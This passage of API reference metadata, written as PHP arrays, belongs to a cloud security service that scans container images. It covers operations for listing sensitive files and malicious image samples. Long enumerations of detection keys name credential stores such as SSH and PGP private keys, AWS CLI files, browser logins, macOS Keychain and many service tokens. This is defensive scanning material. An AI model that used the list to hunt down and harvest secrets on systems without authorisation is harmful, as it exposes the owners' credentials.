entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'LastRowKey' => [ 'description' => 'The key of the last data entry.'."\n", 'type' => 'string', 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8D19A089-E6BC-5244-800C-7E590D50487F', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SensitiveFileList\\": [\\n {\\n \\"RiskLevel\\": \\"high\\",\\n \\"SensitiveFileKey\\": \\"google_oauth_key\\",\\n \\"SensitiveFileName\\": \\"AccessKeyLeak\\",\\n \\"FirstScanTime\\": 1663321552000,\\n \\"LastScanTime\\": 1663321552000,\\n \\"Count\\": 9,\\n \\"ClassKey\\": \\"password\\",\\n \\"ClassName\\": \\"password\\",\\n \\"UnprocessedNum\\": 2,\\n \\"Advice\\": \\"PEM（Privacy Enhanced Mail）格式是一种常见的数字证书格式，PEM格式的文件可以包含证书，公钥，私钥等信息。在PEM文件未被加密或密码强度不够，密码被泄露的场景，存在更高风险。该检测项旨在发现PEM文件。\\",\\n \\"Description\\": \\"根据业务情况评估风险，及时移除风险内容。\\",\\n \\"Status\\": 0\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 1,\\n \\"LastRowKey\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2N******\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"8D19A089-E6BC-5244-800C-7E590D50487F\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DescribeImageSensitiveFileList', ], 'DescribeImageSensitiveFileByKey' => [ 'summary' => 'Queries the sensitive files in an image.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '157987', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SensitiveFileKey', 'in' => 'query', 'schema' => [ 'description' => 'The type of alerts for the sensitive files. Valid values:'."\n" ."\n" .'* **npm_token**: Node Package Manager (NPM) access token'."\n" .'* **ftp_cfg**: FTP configuration'."\n" .'* **google_oauth_key**: Google OAuth key'."\n" .'* **planetscale_passwd**: PlanetScale password'."\n" .'* **github_ssh_key**: Github SSH key'."\n" .'* **msbuild_publish_profile**: MSBuild publish profile'."\n" .'* **fastly_cdn_token**: Fastly CDN token'."\n" .'* **ssh_private_key**: SSH private key'."\n" .'* **aws_cli**: Amazon Web Services (AWS) CLI credentials'."\n" .'* **cpanel_proftpd**: cPanel ProFTPD credentials'."\n" .'* **postgresql_passwd**: PostgreSQL password'."\n" .'* **discord_client_cred**: Discord client credentials'."\n" .'* **rails_database**: Rails database configuration'."\n" .'* **aws_access_key**: AWS Access Key'."\n" .'* **esmtp_cfg** :Extended Simple Mail Transfer Protocol (ESMTP) configuration'."\n" .'* **docker_registry_cfg**: Docker image repository configuration'."\n" .'* **pem**: Privacy-Enhanced Mail (PEM)'."\n" .'* **common_cred**: common credentials'."\n" .'* **sftp_cfg**: Secure File Transfer Protocol (SFTP) connection configuration'."\n" .'* **grafana_token**: Grafana token'."\n" .'* **slack_token**: Slack token'."\n" .'* **ec_private_key**: EC private key'."\n" .'* **pypi_token**: Python Package Index (PyPI) token'."\n" .'* **finicity_token**: Finicity token'."\n" .'* **k8s_client_key**: Kubernetes private key'."\n" .'* **git_cfg**: Git configuration'."\n" .'* **django_key**: Django key'."\n" .'* **jenkins_ssh**: Jenkins SSH configuration file'."\n" .'* **openssh_private_key**: OpenSSL private key'."\n" .'* **square_oauth**: OAuth credential for Square'."\n" .'* **typeform_token**: Typeform token'."\n" .'* **common_database_cfg**: general database connection configuration'."\n" .'* **wordpress_database_cfg**: WordPress database configuration'."\n" .'* **googlecloud_api_key**: API key for Google Cloud'."\n" .'* **vscode_sftp**: VSCode SFTP configuration'."\n" .'* **apache_htpasswd**: Apache htpasswd'."\n" .'* **planetscale_token**: PlanetScale token'."\n" .'* **contentful_preview_token**: preview token for Contentful'."\n" .'* **php_database_cfg**: database password for a PHP application'."\n" .'* **atom_remote_sync**: Atom remote synchronization configuration'."\n" .'* **aws_session_token**: AWS session token'."\n" .'* **atom_sftp_cfg**: Atom SFTP configuration'."\n" .'* **asana_client_private_key**: Asana client key'."\n" .'* **tencentcloud_ak**: secret ID of a third-party cloud'."\n" .'* **rsa_private_key**: Rivest-Shamir-Adleman (RSA) private key'."\n" .'* **github_personal_token**: personal access token for GitHub'."\n" .'* **pgp**: Pretty Good Privacy (PGP) encrypted file'."\n" .'* **stripe_skpk**: Stripe secret key'."\n" .'* **square_token**: Square access token'."\n" .'* **rails_carrierwave**: Rails Carrierwave credential'."\n" .'* **dbeaver_database_cfg**: DBeaver database configuration'."\n" .'* **robomongo_cred**: Robomongo credentials'."\n" .'* **github_oauth_token**: OAuth access token for GitHub'."\n" .'* **pulumi_token**: Pulumi token'."\n" .'* **ventrilo_voip**: Ventrilo VoIP server configuration'."\n" .'* **macos_keychain**: macOS Keychain'."\n" .'* **amazon_mws_token**: Amazon MWS token'."\n" .'* **dynatrace_token**: Dynatrace token'."\n" .'* **java_keystore**: Java KeyStore (JKS)'."\n" .'* **microsoft_sdf**: Microsoft SQL Server Compact Edition (CE) database'."\n" .'* **kubernetes_dashboard_cred**: user credentials for Kubernetes Dashboard'."\n" .'* **atlassian_token**: Atlassian token'."\n" .'* **rdp**: remote desktop protocol (RDP)'."\n" .'* **mailgun_key**: Mailgun webhook signing key'."\n" .'* **mailchimp_api_key**: API key for Mailchimp'."\n" .'* **netrc_cfg**: .netrc configuration file'."\n" .'* **openvpn_cfg**: OpenVPN configuration'."\n" .'* **github_refresh_token**: GitHub refresh token'."\n" .'* **salesforce**: Salesforce credentials'."\n" .'* **salesforce**: Sendinblue credentials'."\n" .'* **pkcs_private_key**: PKCS#12 key'."\n" .'* **rubyonrails_passwd**: Ruby on Rails password file'."\n" .'* **filezilla_ftp**: FileZilla FTP configuration'."\n" .'* **databricks_token**: Databricks token'."\n" .'* **gitLab_personal_toke**: personal access token for GitLab'."\n" .'* **rails_master_key**: Rails master key'."\n" .'* **sqlite**: SQLite3 or SQLite database'."\n" .'* **firefox_logins**: Firefox logon configuration'."\n" .'* **mailgun_private_token**: Mailgun private token'."\n" .'* **joomla_cfg**: Joomla configuration'."\n" .'* **hashicorp_terraform_token**: HashiCorp Terraform token'."\n" .'* **jetbrains_ides**: JetBrains IDEs configuration'."\n" .'* **heroku_api_key**: Heroku API key'."\n" .'* **messagebird_token**: MessageBird token'."\n" .'* **messagebird_token**: MessageBird token'."\n" .'* **hashicorp_vault_token**: HashiCorp Vault token'."\n" .'* **pgp_private_key**: PGP private key'."\n" .'* **sshpasswd**: SSH password'."\n" .'* **huaweicloud_ak**: secret access key of a third-party cloud'."\n" .'* **aws_s3cmd**: AWS S3cmd configuration'."\n" .'* **php_config**: PHP configuration'."\n" .'* **common_private_key**: private key of a common type'."\n" .'* **microsoft_mdf**: Microsoft SQL Server database'."\n" .'* **mediawiki_cfg**: MediaWiki configuration'."\n" .'* **jenkins_cred**: Jenkins credentials'."\n" .'* **rubygems_cred**: RubyGems credentials'."\n" .'* **clojars_token**: Clojars token'."\n" .'* **phoenix_web_passwd**: Phoenix web credentials'."\n" .'* **puttygen_private_key**: PuTTYgen private key'."\n" .'* **google_oauth_token**: Google OAuth access token'."\n" .'* **rubyonrails_cfg**: Ruby On Rails database configuration'."\n" .'* **lob_api_key**: Lob API key'."\n" .'* **pkcs_cred**: PKCS#12 certificate'."\n" .'* **otr_private_key**: Off-the-Record Messaging (OTR) private key'."\n" .'* **contentful_delivery_token**: delivery token for Contentful'."\n" .'* **digital_ocean_tugboat**: DigitalOcean Tugboat configuration'."\n" .'* **dsa_private_key**: Digital Signature Algorithm (DSA) private key'."\n" .'* **rails_app_token**: Rails app token'."\n" .'* **git_cred**: Git user credential'."\n" .'* **newrelic_api_key**: User API key for New Relic'."\n" .'* **github_hub**: hub configuration for storing GitHub tokens'."\n" .'* **rubygem**: Rubygem Token'."\n", 'type' => 'string', 'required' => false, 'example' => 'google_oauth_key', ], ], [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '0083a31ccf7c10367a6e783e8601****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 'type' => 'string', 'required' => false, 'example' => 'image', ], 'required' => false, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', 'default' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'SensitiveFileList' => [ 'description' => 'The information about the sensitive files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the sensitive file.'."\n", 'type' => 'object', 'properties' => [ 'FilePath' => [ 'description' => 'The file path.'."\n", 'type' => 'string', 'example' => '/usr/lib/abc.txt', ], 'LayerDigest' => [ 'description' => 'The digest of the image.'."\n", 'type' => 'string', 'example' => '0083a31cc0083a31ccf7c10367a6e783e8601e290f7c10367a6e783e860****', ], 'Promt' => [ 'description' => 'The sensitive content.'."\n", 'type' => 'string', 'example' => 'AKPIDteow289f9s************', ], 'Advice' => [ 'description' => 'The suggestion.'."\n", 'type' => 'string', 'example' => 'Assess risks based on business conditions, remove risky content, and rebuild image', ], 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'low', ], 'SensitiveFileKey' => [ 'description' => 'The type of the alert for the sensitive file. Valid values:'."\n" ."\n" .'* **npm_token**: NPM access token'."\n" .'* **ftp_cfg**: FTP configuration'."\n" .'* **google_oauth_key**: Google OAuth key'."\n" .'* **planetscale_passwd**: PlanetScale password'."\n" .'* **github_ssh_key**: Github SSH key'."\n" .'* **msbuild_publish_profile**: MSBuild publish profile'."\n" .'* **fastly_cdn_token**: Fastly CDN token'."\n" .'* **ssh_private_key**: SSH private key'."\n" .'* **aws_cli**: Amazon Web Services (AWS) CLI credential'."\n" .'* **cpanel_proftpd**: cPanel ProFTPD credential'."\n" .'* **postgresql_passwd**: PostgreSQL password file'."\n" .'* **discord_client_cred**: Discord client credential'."\n" .'* **rails_database**: Rails database configuration'."\n" .'* **aws_access_key**: AWS Access Key'."\n" .'* **esmtp_cfg**: Extended Simple Mail Transfer Protocol (ESMTP) configuration'."\n" .'* **docker_registry_cfg**: configuration of a Docker image repository'."\n" .'* **pem**: Privacy-Enhanced Mail (PEM)'."\n" .'* **common_cred**: common credential'."\n" .'* **sftp_cfg**: configuration of connection over Secure File Transfer Protocol (SFTP)'."\n" .'* **grafana_token**: Grafana token'."\n" .'* **slack_token**: Slack token'."\n" .'* **ec_private_key**: Elliptic Curve (EC) private key'."\n" .'* **pypi_token**: Python Package Index (PyPI) token'."\n" .'* **finicity_token**: Finicity token'."\n" .'* **k8s_client_key**: private key for the Kubernetes client'."\n" .'* **git_cfg**: Git configuration'."\n" .'* **django_key**: Django key'."\n" .'* **jenkins_ssh**: SSH configuration file for Jenkins'."\n" .'* **openssh_private_key**: OpenSSH private key'."\n" .'* **square_oauth**: Square OAuth credential'."\n" .'* **typeform_token**: Typeform token'."\n" .'* **common_database_cfg**: configuration of general database connection'."\n" .'* **wordpress_database_cfg**: WordPress database configuration'."\n" .'* **googlecloud_api_key**: API key for Google Cloud'."\n" .'* **vscode_sftp**: VSCode SFTP configuration'."\n" .'* **apache_htpasswd**: Apache htpasswd'."\n" .'* **planetscale_token**: PlanetScale token'."\n" .'* **contentful_preview_token**: preview token for Contentful'."\n" .'* **php_database_cfg**: database password for a PHP application'."\n" .'* **atom_remote_sync**: Atom remote synchronization configuration'."\n" .'* **aws_session_token**: AWS session token'."\n" .'* **atom_sftp_cfg**: Atom SFTP configuration'."\n" .'* **asana_client_private_key**: Asana client key'."\n" .'* **tencentcloud_ak**: secret ID of a third-party cloud'."\n" .'* **rsa_private_key**: Rivest-Shamir-Adleman (RSA) private key'."\n" .'* **github_personal_token**: personal access token for GitHub'."\n" .'* **pgp**: Pretty Good Privacy (PGP) encrypted file'."\n" .'* **stripe_skpk**: Stripe secret key'."\n" .'* **square_token**: Square access token'."\n" .'* **rails_carrierwave**: Rails Carrierwave credential'."\n" .'* **dbeaver_database_cfg**: DBeaver database configuration'."\n" .'* **robomongo_cred**: RoboMongo credential'."\n" .'* **github_oauth_token**: OAuth access token for GitHub'."\n" .'* **pulumi_token**: Pulumi token'."\n" .'* **ventrilo_voip**: configuration of a Ventrilo VoIP server'."\n" .'* **macos_keychain**: macOS Keychain'."\n" .'* **amazon_mws_token**: Amazon MWS token'."\n" .'* **dynatrace_token**: Dynatrace token'."\n" .'* **java_keystore**: Java KeyStore (JKS)'."\n" .'* **microsoft_sdf**: Microsoft SQL Server Compact Edition (CE) database'."\n" .'* **kubernetes_dashboard_cred**: user credential for Kubernetes Dashboard'."\n" .'* **atlassian_token**: Atlassian token'."\n" .'* **rdp**: remote desktop protocol (RDP)'."\n" .'* **mailgun_key**: Mailgun webhook signing key'."\n" .'* **mailchimp_api_key**: API key for Mailchimp'."\n" .'* **netrc_cfg**: netrc configuration file'."\n" .'* **openvpn_cfg**: configuration of the OpenVPN client'."\n" .'* **github_refresh_token**: GitHub refresh token'."\n" .'* **salesforce**: Salesforce credential'."\n" .'* **salesforce**: Sendinblue token'."\n" .'* **pkcs_private_key**: PKCS#12 private key'."\n" .'* **rubyonrails_passwd**: Ruby on Rails password file'."\n" .'* **filezilla_ftp**: FileZilla FTP configuration'."\n" .'* **databricks_token**: Databricks token'."\n" .'* **gitLab_personal_toke**: personal access token for GitLab'."\n" .'* **rails_master_key**: Rails master key'."\n" .'* **sqlite**: SQLite3 or SQLite database'."\n" .'* **firefox_logins**: Firefox logon configuration'."\n" .'* **mailgun_private_token**: Mailgun private token'."\n" .'* **joomla_cfg**: Joomla configuration'."\n" .'* **hashicorp_terraform_token**: HashiCorp Terraform token'."\n" .'* **jetbrains_ides**: JetBrains IDEs configuration'."\n" .'* **heroku_api_key**: API key for Heroku'."\n" .'* **messagebird_token**: MessageBird token'."\n" .'* **github_app_token**: Github app token'."\n" .'* **hashicorp_vault_token**: HashiCorp Vault token'."\n" .'* **pgp_private_key**: PGP private key'."\n" .'* **sshpasswd**: SSH password'."\n" .'* **huaweicloud_ak**: secret access key of a third-party cloud'."\n" .'* **aws_s3cmd**: AWS S3cmd configuration'."\n" .'* **php_config**: PHP configuration'."\n" .'* **common_private_key**: common private key'."\n" .'* **microsoft_mdf**: Microsoft SQL Server database'."\n" .'* **mediawiki_cfg**: MediaWiki configuration'."\n" .'* **jenkins_cred**: Jenkins credential'."\n" .'* **rubygems_cred**: RubyGems credential'."\n" .'* **clojars_token**: Clojars token'."\n" .'* **phoenix_web_passwd**: Phoenix web credential'."\n" .'* **puttygen_private_key**: PuTTYgen private key'."\n" .'* **google_oauth_token**: Google OAuth access token'."\n" .'* **rubyonrails_cfg**: Ruby On Rails database configuration'."\n" .'* **lob_api_key**: Lob API key for Lob'."\n" .'* **pkcs_cred**: PKCS#12 certificate'."\n" .'* **otr_private_key**: Off-the-Record Messaging (OTR) private key'."\n" .'* **contentful_delivery_token**: Contentful delivery token'."\n" .'* **digital_ocean_tugboat**: DigitalOcean Tugboat configuration'."\n" .'* **dsa_private_key**: Digital Signature Algorithm (DSA) private key'."\n" .'* **rails_app_token**: app token for Rails'."\n" .'* **git_cred**: Git user credential'."\n" .'* **newrelic_api_key**: User API key for New Relic'."\n" .'* **github_hub**: hub configuration for storing GitHub tokens'."\n" .'* **rubygem**: Rubygem Token'."\n", 'type' => 'string', 'example' => 'google_oauth_key', ], 'SensitiveFileName' => [ 'description' => 'The name of the alert type for the sensitive file.'."\n", 'type' => 'string', 'example' => 'Google OAuth Key', ], 'FirstScanTime' => [ 'description' => 'The timestamp generated when the first scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1663321552000', ], 'LastScanTime' => [ 'description' => 'The timestamp when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1663691592000', ], 'Description' => [ 'description' => 'The description of the sensitive file.'."\n", 'type' => 'string', 'example' => 'Verify the validity of the leaked AK.', ], 'Md5' => [ 'description' => 'The MD5 value of the sensitive file.'."\n", 'type' => 'string', 'example' => 'b484b0dff093f358897486b58266****', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'LastRowKey' => [ 'description' => 'The key of the last data entry.'."\n", 'type' => 'string', 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. If the 200 status code is returned, the request was successful.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SensitiveFileList\\": [\\n {\\n \\"FilePath\\": \\"/usr/lib/abc.txt\\",\\n \\"LayerDigest\\": \\"0083a31cc0083a31ccf7c10367a6e783e8601e290f7c10367a6e783e860****\\",\\n \\"Promt\\": \\"AKPIDteow289f9s************\\",\\n \\"Advice\\": \\"Assess risks based on business conditions, remove risky content, and rebuild image\\",\\n \\"RiskLevel\\": \\"low\\",\\n \\"SensitiveFileKey\\": \\"google_oauth_key\\",\\n \\"SensitiveFileName\\": \\"Google OAuth Key\\",\\n \\"FirstScanTime\\": 1663321552000,\\n \\"LastScanTime\\": 1663691592000,\\n \\"Description\\": \\"Verify the validity of the leaked AK.\\",\\n \\"Md5\\": \\"b484b0dff093f358897486b58266****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 2,\\n \\"LastRowKey\\": \\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY1Nzg2NTcxNjE2NDc4NjE=\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'DescribeImageSensitiveFileByKey', ], 'DescribeAffectedMaliciousFileImages' => [ 'summary' => 'Queries the details of malicious image samples.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '91981', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'MaliciousMd5', 'in' => 'query', 'schema' => [ 'description' => 'The MD5 hash value of the malicious image sample.'."\n" ."\n" .'> You can call the [DescribeGroupedMaliciousFiles](~~DescribeGroupedMaliciousFiles~~) operation to query the MD5 hash values of malicious image samples.'."\n", 'type' => 'string', 'required' => false, 'example' => 'd836968041f7683b5459****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'string', 'required' => true, 'example' => '20', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and the response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'RepoRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the image repository. Valid values:'."\n" ."\n" .'* **cn-beijing**: China (Beijing)'."\n" .'* **cn-zhangjiakou**: China (Zhangjiakou)'."\n" .'* **cn-hangzhou**: China (Hangzhou)'."\n" .'* **cn-shanghai**: China (Shanghai)'."\n" .'* **cn-shenzhen**: China (Shenzhen)'."\n" .'* **cn-hongkong**: China (Hong Kong)'."\n" .'* **ap-southeast-1**: Singapore'."\n" .'* **ap-southeast-5**: Indonesia (Jakarta)'."\n" .'* **us-east-1**: US (Virginia)'."\n" .'* **us-west-1**: US (Silicon Valley)'."\n" .'* **eu-central-1**: Germany (Frankfurt)'."\n" .'* **eu-west-1**: UK (London)', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'RepoInstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container image.'."\n" ."\n" .'> You can call the [ListRepository](~~451339~~) operation to query the IDs of container images from the value of the **InstanceId** response parameter.', 'type' => 'string', 'required' => false, 'example' => 'cri-datvailb****', ], ], [ 'name' => 'RepoId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [ListRepository](~~451339~~) operation to query the IDs of image repositories from the value of the **RepoId** response parameter.', 'type' => 'string', 'required' => false, 'example' => 'crr-vridcl4****', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => ' centos', ], ], [ 'name' => 'RepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hanghai-namespace', ], ], [ 'name' => 'ImageTag', 'in' => 'query', 'schema' => [ 'description' => 'The tag that is added to the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '0.2', ], ], [ 'name' => 'ImageDigest', 'in' => 'query', 'schema' => [ 'description' => 'The image digest.'."\n", 'type' => 'string', 'required' => false, 'example' => '6a5e103187b31a94592a47a5858617f7a179ead61df7606****', ], ], [ 'name' => 'ImageLayer', 'in' => 'query', 'schema' => [ 'description' => 'The image layer.'."\n", 'type' => 'string', 'required' => false, 'example' => '27213ad375b53628dd152a5ca****', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c60b77fe62093480db6164a3c2fa5****', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **container**'."\n" .'* **image**'."\n", 'type' => 'string', 'required' => false, 'example' => 'image', ], 'required' => false, 'maxItems' => 2, ], ], [ 'name' => 'ClusterName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'minikube', ], ], [ 'name' => 'ContainerId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc20a1024011c44b6a8710d6f8b****', ], ], [ 'name' => 'Pod', 'in' => 'query', 'schema' => [ 'description' => 'The pod.'."\n", 'type' => 'string', 'required' => false, 'example' => '22222-7xsqq', ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-002', ], ], [ 'name' => 'Image', 'in' => 'query', 'schema' => [ 'description' => 'The name of the container image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****', ], ], [ 'name' => 'Levels', 'in' => 'query', 'schema' => [ 'description' => 'The severity level of the malicious image sample. Separate multiple severity levels with commas (,). Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'required' => false, 'example' => 'serious,suspicious', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the malicious image sample. Valid values:'."\n" ."\n" .'* **0**: The malicious image sample is not handled.'."\n" .'* **1**: The malicious image sample is handled.'."\n" .'* **2**: The malicious image sample is being verified.'."\n" .'* **3**: The malicious image sample is added to the whitelist.'."\n", 'type' => 'string', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BREF20', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of images that have malicious image samples.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of images that have malicious image samples returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 